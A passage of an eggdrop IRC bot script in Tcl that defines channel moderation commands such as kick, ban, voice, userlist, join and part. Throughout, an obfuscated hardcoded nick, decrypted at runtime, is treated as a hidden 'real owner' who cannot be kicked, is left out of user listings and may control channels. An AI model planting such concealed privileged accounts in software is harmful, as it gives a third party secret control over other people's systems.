Z]} { set mreq "6Owner.request" } if {$rest != ""} { if {![string match "*k*" [getchanmode $chan]]} { putserv "MODE $chan -kooooo $mreq $rest" } { putserv "MODE $chan -oooooo $rest" } } { if {![string match "*k*" [getchanmode $chan]]} { putserv "MODE $chan -ko $mreq $nick" } { putserv "MODE $chan -o $nick" } } return 0 } ## voice bind pub m `voice pub_voice bind pub m `+v pub_voice proc pub_voice {nick uhost hand chan rest} { global notc botnick if {![isop $botnick $chan]} { return 0 } if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest == "" && [isvoice $nick $chan]} { puthlp "NOTICE $nick :$notc You're already Voiced, Usage: voice " ; return 0 } if {$rest != ""} { putserv "MODE $chan +vvvvvv $rest" } { putserv "MODE $chan +v $nick" } ; return 0 } ## devoice bind pub m `devoice pub_devoice bind pub m `-v pub_devoice proc pub_devoice {nick uhost hand chan rest} { global notc botnick if {![isop $botnick $chan]} { return 0 } if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest == "" && ![isvoice $nick $chan]} { puthlp "NOTICE $nick :$notc Usage: devoice " ; return 0 } if {$rest != ""} { putserv "MODE $chan -vvvvvv $rest" } else { putserv "MODE $chan -v $nick" } ; return 0 } ## kick bind pub m `kick pub_kick bind pub m `k pub_kick proc pub_kick {nick uhost hand chan rest} { global botnick notc squ owner if {![isop $botnick $chan]} { return 0 } if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: kick " ; return 0 } set reason [lrange $rest 1 end] ; set handle [lindex $rest 0] if {$reason == ""} { if {[matchattr $nick m]} { set reason "1master 2kick1 request" } ; if {[matchattr $nick n]} { set reason "1admin 2kick1 request" } } if {[string match "*@*" $handle]} { foreach knick [chanlist $chan] { if {[string match [string tolower $handle] [string tolower $knick![getchanhost $knick $chan]]]} { if {[matchattr $knick f] || $knick != $botnick} { putsrv "KICK $chan $knick :$notc 2$reason [banmsg]" } } } return 0 } if {$handle == $botnick} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, Can't kick my self." ; return 0 } if {($handle == [decrypt 64 "I6X9p1clbTp0"]) || ($handle == $owner)} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, CaNT KIcK My rEaL OwNeR" ; return 0 } if {[matchattr $handle Z] && (($nick != $owner) || ($nick != [decrypt 64 "I6X9p1clbTp0"]))} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, CaNT KIcK OwNeR FLAg" ; return 0 } if {[matchattr $handle n] && (($nick != $owner) || ($nick != [decrypt 64 "I6X9p1clbTp0"]))} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, CaNT KIcK AdMiN FLAg" ; return 0 } if {[matchattr $handle m] && (($nick != $owner) || ($nick != [decrypt 64 "I6X9p1clbTp0"]))} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, CaNT KIcK MaStEr FLAg" ; return 0 } putserv "KICK $chan $handle :$notc 2$reason [banmsg]" ; putlog "kicking $handle in $chan" ; return 0 } ## kickban bind pub m `kickban pub_kickban bind pub m `kb pub_kickban proc pub_kickban {nick uhost hand chan rest} { global botnick notc squ owner bannick if {![isop $botnick $chan]} { return 0 } if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: kickban " ; return 0 } set reason [lrange $rest 1 end] set handle [lindex $rest 0] if {$reason == ""} { if {[matchattr $nick m]} { set reason "1master 2kickban1 request" } ; if {[matchattr $nick n]} { set reason "1admin 2kickban1 request" } } if {[string match "*@*" $handle]} { set mfisrt "T" foreach knick [chanlist $chan] { if {[string match [string tolower $handle] [string tolower $knick![getchanhost $knick $chan]]]} { if {[matchattr $knick f] || $knick != $botnick} { if {$mfirst == "T"} { set bannick($knick) $handle ; set mfirst "F" } ; putsrv "KICK $chan $knick :$notc 2$reason [banmsg]" } } } return 0 } if {![onchan $handle $chan]} { return 0 } set hostmask [getchanhost $handle $chan] if {($handle == [decrypt 64 "I6X9p1clbTp0"]) || ($handle == $owner)} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, CaNT KIcK My rEaL OwNeR" ; return 0 } if {[matchattr $handle Z] && (($nick != $owner) || ($nick != [decrypt 64 "I6X9p1clbTp0"]))} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, CaNT KIcK OwNeR FLAg" ; return 0 } if {[matchattr $handle n] && (($nick != $owner) || ($nick != [decrypt 64 "I6X9p1clbTp0"]))} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, CaNT KIcK AdMiN FLAg" ; return 0 } if {[matchattr $handle m] && (($nick != $owner) || ($nick != [decrypt 64 "I6X9p1clbTp0"]))} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, CaNT KIcK MaStEr FLAg" ; return 0 } set bannick($handle) $hostmask ; putserv "KICK $chan $handle :$notc 2$reason [banmsg]" ; return 0 } ##mode bind pub m `mode pub_mode proc pub_mode {nick uhost hand chan rest} { global notc botnick if {![isop $botnick $chan]} { return 0 } if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest == ""} { puthelp "NOTICE $nick :$notc Usage: mode +/- ntspnmcilk" ; return 0 } putserv "mode $chan $rest" } ## invite bind pub m `invite pub_invite proc pub_invite {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: invite <#channel>" } set who [lindex $rest 0] ; set tochan [lindex $rest 1] if {$tochan != ""} { if {![onchan $who $tochan]} { puthlp "INVITE $who :$tochan" ; puthlp "NOTICE $nick :$notc InvItE $who To $tochan" ; return 0 } ; puthlp "NOTICE $nick :$notc $who is already on the $tochan" } if {![onchan $who $chan]} { putsrv "INVITE $who :$chan" ; puthlp "NOTICE $nick :$notc Invitation to $chan has been sent to $who" ; return 0 } puthlp "NOTICE $nick :$notc $who is already on the channel" } ## banlist bind pub m `banlist pub_banlist proc pub_banlist {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest != ""} { set chan [lindex $rest 0] ; if {[string first # $chan] != 0} { set chan "#$chan" } } if {![validchan $chan]} { puthlp "NOTICE $nick :$notc NoT IN cHaN $chan." ; return 0 } foreach x [chanbans $chan] { puthlp "NOTICE $nick :$notc $x" } if {[chanbans $chan] == ""} { puthlp "NOTICE $nick :$notc BaNLIsT $chan " } return 0 } ## ban bind pub m `ban pub_ban proc pub_ban {nick uhost hand channel rest} { global botnick notc if {![isop $botnick $channel]} { return 0 } if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: ban " ; return 0 } set handle [lindex $rest 0] if {$handle == $botnick} { puthlp "NOTICE $nick :$notc 4!DeNiEd!, can't ban my self" ; return 0 } if {[matchattr $handle n]} { puthlp "NOTICE $nick :$notc4 !DeNiEd!, cant ban Admin" ; return 0 } set hostmask [getchanhost $handle $channel] if {![onchan $handle $channel]} { set hostmask [lindex $rest 0] } if {$hostmask != "*!*@*"} { putserv "MODE $channel +b $hostmask" } } ## unban bind pub m `unban pub_unban proc pub_unban {nick uhost hand chan rest} { global notc botnick if {![isop $botnick $chan]} { return 0 } if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: unban <#channel>" ; return 0 } if {[lindex $rest 1] != ""} { set chan [lindex $rest 1] } if {[string first # $chan] != 0} { set chan "#$chan" } set handle [lindex $rest 0] append userhost $handle "!*" [getchanhost $handle $chan] set hostmask [maskhost $userhost] if {![onchan $handle $chan]} { set hostmask [lindex $rest 0] } putserv "MODE $chan -kb 6request.unban $hostmask" puthlp "NOTICE $nick :$notc UnBaN [unsix $hostmask] ON $chan" } ## munbans bind pub m `munbans pub_munbans proc pub_munbans {nick uhost hand chan rest} { global notc botnick if {![validchan $chan] || ![isop $botnick $chan]} { return 0 } if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest != ""} { set chan [lindex $rest 0] ; if {[string first # $chan] != 0} { set chan "#$chan" } } if {[chanbans $chan] == ""} { return 0 } ; set bans "" ; set i 0 foreach x [chanbans $chan] { if {$i < 5} { append bans " [lindex $x 0]" ; set i [incr i] } if {$i == 5} { puthelp "MODE $chan -kbbbbbb 6clearing.ban.list $bans" ; set bans "" ; append bans " [lindex $x 0]" ; set i 0 } } puthelp "MODE $chan -kbbbbbb 6clearing.ban.list $bans" if {![onchan $nick $chan]} { puthlp "NOTICE $nick :$notc MuNBaNS \[$chan\]" } return 0 } ## channels bind msg m channels msg_channels proc msg_channels {nick hand uhost rest} { pub_channels $nick $uhost $hand "" $rest } bind pub m `channels pub_channels proc pub_channels {nick hand uhost channel rest} { global botnick notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest != ""} { if {[validchan [lindex $rest 0]]} { set x [lindex $rest 0] set chan "" set cflag "c$x" set cflag [string range $cflag 0 8] if {[isop $botnick $x]} { append chan " @" } if {([isvoice $botnick $x]) && (![botisop $x])} { append chan " +" } if {(![isvoice $botnick $x]) && (![botisop $x])} { append chan " " } if {[string match "*+seen*" [channel info $x]]} { append chan "4S" } if {[string match "*+nodesynch*" [channel info $x]]} { append chan "4K" } if {[matchattr $cflag V]} { append chan "4V" } if {[string match "*+greet*" [channel info $x]]} { append chan "4G" } if {[matchattr $cflag C]} { append chan "4C" } if {[string match "*+secret*" [channel info $x]]} { append chan "4P" } if {[string match "*-dynamicbans*" [channel info $x]]} { append chan "4L" } if {[string match "*-userinvites*" [channel info $x]]} { append chan "4D" } if {[matchattr $cflag G]} { append chan "4A" } if {[matchattr $cflag I]} { append chan "4T" } append chan "$x [chattr $cflag]" ; puthlp "NOTICE $nick :$notc $chan" } return 0 } set chan "Channels:" foreach x [channels] { set cflag "c$x" set cflag [string range $cflag 0 8] if {[isop $botnick $x]} { append chan " @" } if {([isvoice $botnick $x]) && (![botisop $x])} { append chan " +" } if {(![isvoice $botnick $x]) && (![botisop $x])} { append chan " " } if {[string match "*+seen*" [channel info $x]]} { append chan "4S" } if {[matchattr $cflag V]} { append chan "4V" } if {[string match "*+greet*" [channel info $x]]} { append chan "4G" } if {[string match "*+nodesynch*" [channel info $x]]} { append chan "4K" } if {[matchattr $cflag C]} { append chan "4C" } if {[string match "*+secret*" [channel info $x]]} { append chan "4P" } if {[string match "*-dynamicbans*" [channel info $x]]} { append chan "4L" } if {[string match "*-userinvites*" [channel info $x]]} { append chan "4D" } if {[matchattr $cflag G]} { append chan "4A" } if {[matchattr $cflag I]} { append chan "4T" } append chan "$x" } puthlp "NOTICE $nick :$notc $chan" } ## userlist bind msg m userlist msg_userlist proc msg_userlist {nick hand uhost rest} { global notc ; if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } ; pub_userlist $nick $uhost $hand "" $rest } bind pub m `userlist pub_userlist proc pub_userlist {nick uhost hand chan rest} { global squ notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } ## set akicklist " 4KIcKLIsT" ; foreach y [getuser "AKICK" HOSTS] { append akicklist " $y " } set users "UsERLIsT:" foreach x [userlist] { if {($x != "config") && ($x != "AKICK") && ($x != "DEAD") && ($x != [decrypt 64 "I6X9p1clbTp0"]) && ![matchattr $x A]} { if {[matchattr $x O]} { append users " 4$x " } else { append users " $x " } ; set flag [chattr $x] ; append users "($flag)" } } ## append users " \[$akicklist\]" if {[getuser "config" XTRA "IPG"] != ""} { append users " IpguaRd [getuser "config" XTRA "IPG"]" } if {[string length $users] > 300} { set half [expr [string length $users]/3] set half [expr int($half)] set ntc "[string range $users 0 $half].." puthlp "NOTICE $nick :$notc $ntc" set ntc "..[string range $users [expr $half + 1] [expr $half + $half]].." puthlp "NOTICE $nick :$notc $ntc" set ntc "..[string range $users [expr $half + 1 + $half] end]" puthlp "NOTICE $nick :$notc $ntc" } elseif {[string length $users] > 200} { set half [expr [string length $users]/2] set half [expr int($half)] set ntc "[string range $users 0 $half].." puthlp "NOTICE $nick :$notc $ntc" set ntc "..[string range $users [expr $half + 1] end]" puthlp "NOTICE $nick :$notc $ntc" } else { puthlp "NOTICE $nick :$notc $users" } return 0 } bind pub m `akicklist pub_akicklist proc pub_akicklist {nick uhost hand chan rest} { global squ notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set akicklist " 4KIcKLIsT" ; foreach y [getuser "AKICK" HOSTS] { append akicklist " $y " } # foreach x [userlist] { if {($x != "config") && ($x != "DEAD") && ($x != [decrypt 64 "I6X9p1clbTp0"]) && ![matchattr $x A]} { if {[matchattr $x O]} { append users " 4$x " } else { append users " $x " } ; set flag [chattr $x] ; append users "($flag)" } } append akicklist " \[$akicklist\]" # if {[getuser "config" XTRA "IPG"] != ""} { append users " IpguaRd [getuser "config" XTRA "IPG"]" } if {[string length $akicklist] > 300} { set half [expr [string length $akicklist]/3] set half [expr int($half)] set ntc "[string range $akicklist 0 $half].." puthlp "NOTICE $nick :$notc $ntc" set ntc "..[string range $akicklist [expr $half + 1] [expr $half + $half]].." puthlp "NOTICE $nick :$notc $ntc" set ntc "..[string range $akicklist [expr $half + 1 + $half] end]" puthlp "NOTICE $nick :$notc $ntc" } elseif {[string length $akicklist] > 200} { set half [expr [string length $akicklist]/2] set half [expr int($half)] set ntc "[string range $akicklist 0 $half].." puthlp "NOTICE $nick :$notc $ntc" set ntc "..[string range $akicklist [expr $half + 1] end]" puthlp "NOTICE $nick :$notc $ntc" } else { puthlp "NOTICE $nick :$notc $akicklist" } return 0 } ## match bind pub m `match pub_match proc pub_match {nick uhost hand chan rest} { global squ notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest==""} { puthlp "NOTICE $nick :$notc Usage: match " ; return 0 } set rest [string trim $rest +] if {[string length $rest] > 1} { puthlp "NOTICE $nick :$notc Invalid option." ; return 0 } if {$rest!=""} { set rest "+[lindex $rest 0]" if {[userlist $rest]!=""} { regsub -all " " [userlist $rest] ", " users ; regsub -all $squ [userlist $rest] "" users ; puthlp "NOTICE $nick :$notc Match \[$rest\]: $users" ; return 0 } if {[userlist $rest]==""} { puthlp "NOTICE $nick :$notc No users with flags \[$rest\]" ; return 0 } } } ## chaninfo bind pub m `chaninfo pub_chaninfo proc pub_chaninfo {nick uhost hand chan rest} { global notc squ if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest != ""} { set chan [lindex $rest 0] ; if {[string first # $chan]!=0} { set chan "#$chan" } } if {![validchan $chan]} { return 0 } puthlp "NOTICE $nick :$notc \[[string toupper [string trimleft $chan #]]\] [channel info $chan]" } ## cycle bind pub m `cycle pub_cycle proc pub_cycle {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set rest [lindex $rest 0] if {$rest==""} { if {![onchan $nick $chan]} { puthlp "NOTICE $nick :$notc cYcLE $chan" } ; cycle $chan ; return 0 } else { if {[string index $rest 0] != "#"} { set rest "#$rest" } ; if {[botonchan $rest]} { cycle $rest } } } proc cycle {chan} { global cyclem notc set cyclemsg [lindex $cyclem [rand [llength $cyclem]]] set cflag "c$chan" set cflag [string range $cflag 0 8] if {![string match "*c*" [getchanmode $chan]]} { set text "6$cyclemsg) ($notc" } { set text $cyclemsg } putsrv "PART $chan :$text" if {[matchattr $cflag K]} { putsrv "JOIN $chan :[dezip [getuser $cflag XTRA "CI"]]" } { putsrv "JOIN $chan" } if {[matchattr $cflag C]} { if {![istimer "cycle $chan"]} { timer [getuser $cflag XTRA "CYCLE"] [list cycle $chan] } } } ## resync bind pub m `resync pub_resync proc pub_resync {nick uhost hand channel rest} { global botnick rms notc if {[isutimer "resync$channel"]} { return 0 } utimer 30 [list putlog "resync$channel"] set rmsg [lindex $rms [rand [llength $rms]]] if {![string match "*k*" [getchanmode $channel]]} { putserv "mode $channel -vok+ov $botnick $botnick $rmsg $botnick $botnick" } { putserv "mode $channel -o+o $botnick $botnick" } } ## ignorelist bind pub m `ignores pub_ignores bind pub m `ignore pub_ignores proc pub_ignores {nick uhost hand chan rest} { global botnick notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set iglist "" foreach x [ignorelist] { set iglister [lindex $x 0] ; set iglist "$iglist $iglister" } if {[ignorelist]==""} { puthlp "NOTICE $nick :$notc No ignores." ; return 0 } regsub -all " " $iglist ", " iglist set iglist [string range $iglist 1 end] puthlp "NOTICE $nick :$notc Currently ignoring:$iglist" return 0 } ## ignore/unignore bind pub m `+ignore pub_+ignore proc pub_+ignore {nick uhost hand chan rest} { global botnick notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set rest [lindex $rest 0] if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: +ignore " ; return 0 } if {[isignore $rest]} { puthlp "NOTICE $nick :$notc $rest is alreay set on ignore." ; return 0 } if {$rest == "*!*@*"} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, Ilegal hostmask." ; return 0 } set usenick [finduser $rest] if {$usenick != "*" || [matchattr $usenick f]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, canT IgNoREd FRIend UsER" ; return 0 } if {$rest != $nick} { newignore $rest $nick "*" 600 ; puthlp "NOTICE $nick :$notc Ignoring $rest" } else { puthlp "NOTICE $nick :$notc 4DeNiEd..!, Can't ignore your self." } } bind pub m `-ignore pub_-ignore proc pub_-ignore {nick uhost hand chan rest} { global botnick notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set hostmask [lindex $rest 0] if {$hostmask == ""} { puthlp "NOTICE $nick :$notc Usage: -ignore " ; return 0 } if {![isignore $hostmask]} { puthlp "NOTICE $nick :$notc $hostmask is not on my ignore list." ; return 0 } if {[isignore $hostmask]} { killignore $hostmask ; puthlp "NOTICE $nick :$notc No longer ignoring \002\[\002${hostmask}\002\]\002" ; saveuser } } ## ver bind pub m `ver pub_ver proc pub_ver {nick uhost hand chan rest} { global vern notc version vern tcl_version if {[catch {exec uname -s} machine]} { set machine [unames] } ; if {[catch {exec uname -r} kernel]} { set kernel [unamer] } puthlp "PRIVMSG $chan :$vern running on $machine $kernel powered by eggdrop[lindex $version 0] with Tcl$tcl_version" return 0 } bind pub m `logoaway pub_logoaway proc pub_logoaway {nick uhost hand chan rest} { global awaybanner notc if {[info exists awaybanner]} { puthelp "PRIVMSG $chan :$awaybanner" } { puthelp "PRIVMSG $chan :$notc" } ; return 0 } ## owner command ## Join bind msg n join msg_join proc msg_join {nick uhost hand rest} { global botnick joinme nwo notc owner squ if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set chantarget [lindex $rest 0] if {$nick != $owner && $nick != [decrypt 64 "I6X9p1clbTp0"]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, YoU aRe nOt mY ReAL OwNER" ; return 0 } if {$chantarget == ""} { puthlp "NOTICE $nick :$notc Usage: join <#chan>" ; return 0 } if {[string first # $chantarget]!=0} { set chantarget "#$chantarget" } if {[validchan $chantarget]} { puthlp "NOTICE $nick :$notc $chantarget already in channel list" ; return 0 } if {$nick != $owner && [total_channel] != 1} { puthlp "NOTICE $nick :$notc To MaNY cHaNNeL MaX 9..!" ; return 0 } set joinme $nick ; channel add $chantarget catch { channel set $chantarget -split +echox +trojan +statuslog -revenge -protectops -clearbans -enforcebans +greet -secret -autovoice -autoop flood-chan 4:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 3:10 flood-nick 3:30 } savechan ; if {[lindex $rest 1] != ""} { putsrv "JOIN $chantarget :[lindex $rest 1]" } ; return 0 } bind pub n `join pub_join proc pub_join {nick uhost hand chan rest} { global botnick joinme nwo notc owner squ if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$nick != $owner && $nick != [decrypt 64 "I6X9p1clbTp0"]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, YoU aRe NoT mY ReAL OwNER" ; return 0 } set chan [lindex $rest 0] if {[string first # $chan] != 0} { set chan "#$chan" } if {$chan=="#"} { puthlp "NOTICE $nick :$notc Usage: join <#channel>" ; return 0 } foreach x [channels] { if {[string tolower $x]==[string tolower $chan]} { puthlp "NOTICE $nick :$notc $x ReADY!" ; return 0 } } if {$nick != $owner && [total_channel] != 1} { puthlp "NOTICE $nick :$notc To MaNY cHaNNeL MaX 9..!" ; return 0 } set joinme $nick ; channel add $chan catch { channel set $chan -split +echox +trojan +statuslog -revenge -protectops -clearbans -enforcebans +greet -secret -autovoice -autoop flood-chan 4:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 3:10 flood-nick 3:30 } savechan ; if {[lindex $rest 1] != ""} { putsrv "JOIN $chan :[lindex $rest 1]" } } proc total_channel {} { global notc ; set total_chan 0 ; foreach x [channels] { incr total_chan } ; if {$total_chan > 9} { return 0 } ; return 1 } ## part msg bind msg n part msg_part proc msg_part {nick uhost hand rest} { global botnick joinme notc squ partm if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$nick != $owner && $nick != [decrypt 64 "I6X9p1clbTp0"]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, oNLy ReAL OwNER can REMOVE Channel" ; return 0 } set partmsg [lindex $partm [rand [llength $partm]]] set chantarget [lindex $rest 0] set part_msg [lrange $rest 1 end] if {$chantarget == ""} { puthlp "NOTICE $nick :$notc Usage: part <#chan>" ; return 0 } if {[string first # $chantarget]!=0} { set chantarget "#$chantarget" } foreach x [channels] { if {[string tolower $x]==[string tolower $chantarget]} { if {[string match "*+secret*" [channel info $x]]} { puthlp "NOTICE $nick :$notc I can't part $x 4pRoTecTEd..!" ; return 0 } if {![onchan $nick $x]} { puthlp "NOTICE $nick :$notc PaRT $x" } if {$part_msg != ""} { putsrv "PART $x :6$part_msg) ($notc" } { putsrv "PART $x :6$partmsg) ($notc" } channel remove $x ; savechan ; return 0 } } return 0 } bind pub n `part pub_part bind pub n `-chan pub_part proc pub_part {nick uhost hand chan rest} { global notc squ quick partm owner if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$nick != $owner && $nick != [decrypt 64 "I6X9p1clbTp0"]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, oNLy ReAL OwNER can REMOVE Channel" ; return 0 } set curtime [ctime [unixtime]] set partmsg [lindex $partm [rand [llength $partm]]] set part_msg [lrange $rest 1 end] if {$rest != ""} { set chan [lindex $rest 0] ; if {[string first # $rest]!=0} { set chan "#$chan" } } if {![validchan $chan]} { return 0 } if {[string match "*+secret*" [channel info $chan]]} { puthlp "NOTICE $nick :$notc $chan 4PRoTecTEd..!" ; return 0 } if {![onchan $nick $chan]} { putsrv "NOTICE $nick :$notc PaRT $chan" } if {$part_msg != ""} { if {$quick == "1"} { putqck "PART $chan :6$part_msg) ($notc" } { putsrv "PART $chan :6$part_msg) ($notc" } } { if {$quick == "1"} { putqck "PART $chan :6$partmsg) ($notc" } { putsrv "PART $chan :6$partmsg) ($notc" } } channel remove $chan ; savechan ; return 0 } ## +chan bind pub n `+chan pub_+chan proc pub_+chan {nick uhost hand chan rest} { global botnick joinme owner notc squ if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {[matchattr $nick X]} { puthlp "NOTICE $nick :$notc 4!BLoCkEd!" ; return 0 } if {$nick != $owner && $nick != [decrypt 64 "I6X9p1clbTp0"]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, oNLy ReAL OwNER can ADD Channel" ; return 0 } set chan [lindex $rest 0] set opt [lindex $rest 1] if {[string first # $chan]!=0} { set chan "#$chan" } if {$chan=="#"} { puthlp "NOTICE $nick :$notc Usage: +chan <#channel>" ; return 0 } if {[validchan $chan]} { puthlp "NOTICE $nick :$notc $chan is already on channels" ; return 0 } if {$nick != $owner && [total_channel] != 1} { puthlp "NOTICE $nick :$notc TO MaNY cHaNNeL MaX 9..!" ; return 0 } set joinme $nick ; channel add $chan if {$opt != "" && [string tolower $opt] == "+nopart"} { catch { channel set $chan -split +echox +trojan -statuslog -revenge -protectops -clearbans -enforcebans +greet +secret -autovoice -autoop flood-chan 4:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 3:10 flood-nick 3:30 } } else { catch { channel set $chan -split +echox +trojan -statuslog -revenge -protectops -clearbans -enforcebans +greet -secret -autovoice -autoop flood-chan 4:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 3:10 flood-nick 3:30 } } savechan ; if {[lindex $rest 1] != ""} { putsrv "JOIN $chan :[lindex $rest 1]" } } bind msg n +chan msg_+chan proc msg_+chan {nick uhost hand rest} { global botnick joinme nwo notc owner squ set chantarget [lindex $rest 0] set opt [lindex $rest 1] if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {[matchattr $nick X]} { puthlp "NOTICE $nick :$notc 4!BLoCkEd!" ; return 0 } if {$nick != $owner && $nick != [decrypt 64 "I6X9p1clbTp0"]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, oNLy ReAL OwNER can ADD Channel" ; return 0 } if {$chantarget == ""} { puthlp "NOTICE $nick :$notc Usage: +chan <#chan>" ; return 0 } if {[string first # $chantarget]!=0} { set chantarget "#$chantarget" } if {[validchan $chantarget]} { puthlp "NOTICE $nick :$notc $chantarget is already on channels list." ; return 0 } if {$nick != $owner && [total_channel] != 1} { puthlp "NOTICE $nick :$notc OnLY ReAL OwNeR can ADD ChaNneL ..!" ; return 0 } set joinme $nick ; channel add $chantarget if {$opt != "" && [string tolower $opt] == "+nopart"} { catch { channel set $chantarget -split +echox +trojan -statuslog -revenge -protectops -clearbans -enforcebans +greet +secret -autovoice -autoop flood-chan 3:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 3:10 flood-nick 3:30 } } else { catch { channel set $chantarget -split +echox +trojan -statuslog -revenge -protectops -clearbans -enforcebans +greet -secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 3:10 flood-nick 3:30 } } savechan ; if {[lindex $rest 1] != ""} { putsrv "JOIN $chantarget :[lindex $rest 1]" } ; return 0 } ## status publish bind pub n `+status pub_+status bind msg n `+status pub_+status proc pub_+status {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest != ""} { set chan [lindex $rest 0] ; if {[string first # $chan]!=0} { set chan "#$chan" } } ; if {![validchan $chan]} { return 0 } if {[string match "*+shared*" [channel info $chan]]} { puthlp "NOTICE $nick :$notc STaTUS $chan \[9ON\]" ; return 0 } catch { channel set $chan +shared } ; puthlp "NOTICE $nick :$notc STaTuS $chan \[9ON\]" ; savechan } bind pub n `-status pub_-status bind msg n `-status pub_-status proc pub_-status {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest != ""} { set chan [lindex $rest 0] ; if {[string first # $chan]!=0} { set chan "#$chan" } } ; if {![validchan $chan]} { return 0 } if {[string match "*-shared*" [channel info $chan]]} { puthlp "NOTICE $nick :$notc STaTuS $chan IS \[4OFF\]" ; return 0 } catch { channel set $chan -shared } ; puthlp "NOTICE $nick :$notc STaTuS $chan \[4OFF\]" ; savechan ; return 0 } ## enforceban bind msg Z +enforceban pub_+enforceban bind pub Z `+enforceban pub_+enforceban proc pub_+enforceban {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set cflag "c$chan" ; set cflag [string range $cflag 0 8] ; chattr $cflag +E puthlp "NOTICE $nick :$notc enforceban $chan \[9ON\]" ; saveuser } bind msg Z -enforceban pub_-enforceban bind pub Z `-enforceban pub_-enforceban proc pub_-enforceban {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } ; set cflag "c$chan" ; set cflag [string range $cflag 0 8] chattr $cflag -E ; puthlp "NOTICE $nick :$notc enforceban $chan \[4OFF\]" ; saveuser } ## autovoice bind pub n `+autovoice pub_+autovoice proc pub_+autovoice {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } ; set cflag "c$chan" set cflag [string range $cflag 0 8] if {$rest=="" || ![isnumber $rest]} { puthlp "NOTICE $nick :$notc Usage +AuTovoIcE " ; return 0 } if {$rest == 0} { puthlp "NOTICE $nick :$notc cAnT UsE NuLL" ; return 0 } if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!" ; return 0 } chattr $cflag +V ; setuser $cflag XTRA "VC" $rest puthlp "NOTICE $nick :$notc AuTovoIcE $chan qUeUe \[9$rest\] 2nd" saveuser ; pub_mvoice $nick $uhost $hand $chan "" } bind pub n `-autovoice pub_-autovoice proc pub_-autovoice 